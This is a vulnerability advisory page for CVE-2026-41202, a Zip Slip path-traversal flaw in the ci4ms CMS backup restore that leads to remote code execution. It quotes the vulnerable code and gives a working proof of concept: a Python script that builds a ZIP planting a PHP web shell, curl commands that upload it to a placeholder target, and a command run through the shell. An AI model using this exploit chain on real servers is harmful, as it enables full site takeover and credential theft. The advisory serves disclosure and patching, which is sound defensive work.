CVE-2026-41202 — Vulnerability in ci4-cms-erp/ci4ms — CVE Details
CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.72%). Schedule for your next planned update.
Does your project use an affected ci4-cms-erp/ci4ms version?
Paste your composer.lock to check it for CVE-2026-41202 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
ci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.
Details
modules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to WRITEPATH . 'uploads/', and if the extension is zip, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination:
public function restore()
{
$valData = ([
'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'],
]);
if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors());
$file = $this->request->getFile('backup_file');
if ($file && $file->isValid() && ! $file->hasMoved()) {
$newName = $file->getRandomName();
$uploadPath = WRITEPATH . 'uploads/';
...
$filePath = WRITEPATH . 'uploads/' . $newName;
$sqlPath = $filePath;
if ($ext === 'zip') {
$zip = new \ZipArchive();
if ($zip->open($filePath) === true) {
$zip->extractTo($uploadPath); // no entry-name validation
$sqlPath = $uploadPath . $zip->getNameIndex(0);
$zip->close();
@unlink($filePath);
}
}
...
}
}
A ZIP containing entries like ../../public/shell.php is extracted outside writable/uploads/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.
Routing: modules/Backup/Config/Routes.php binds POST backend/backup/restore to Backup::restore with role=create, and modules/Backup/Config/BackupConfig.php adds backend/backup and backend/backup/* to csrfExcept, so the route accepts cross-site POSTs from an authenticated administrator's browser.
PoC
Build the archive:
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip','w') as z:
z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
z.writestr('dump.sql', 'SELECT 1;')
"
Submit it as a backup to restore:
curl -i -b 'ci4ms_session=<SESSION_ID>' \
-F 'backup_file=@evil.zip' \
https://target.example.com/backend/backup/restore
Trigger the shell:
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
Any ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.
Advisory Timeline
- First published April 22, 2026 (218 days ago).
- Last revised May 8, 2026 — 16 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
composer require "ci4-cms-erp/ci4ms:^0.31.5.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| ci4-cms-erp/ci4ms Packagist · Affected: 0.21.0, 0.21.1, 0.21.2, 0.21.3 (+48 more) | 0.31.5.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-22Path TraversalMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 9.9 score means for each attack dimension.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
References
Frequently Asked Questions
- What is CVE-2026-41202?
- CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE. This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.9/10).
- How do I check if my project is affected by CVE-2026-41202?
- CVE-2026-41202 affects ci4-cms-erp/ci4ms. It has a 0.7% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-41202 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Maximum impact if exploited, often with little effort or access required.
This is a below-median EPSS score — only 49.9% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2026-34559CRITICAL
CI4MS: Blogs Tags Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
- CVE-2026-34566CRITICAL
CI4MS: Pages Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
- CVE-2026-34557CRITICAL
CI4MS: Permissions Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
- CVE-2026-34558CRITICAL
CI4MS: Methods Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
- CVE-2026-34989CRITICAL
CI4MS: Profile & User Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
- CVE-2026-34568CRITICAL
CI4MS: Blogs Posts Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
- CVE-2026-34565CRITICAL
CI4MS: Menu Management (Posts) Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS
- CVE-2026-41203CRITICAL
CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE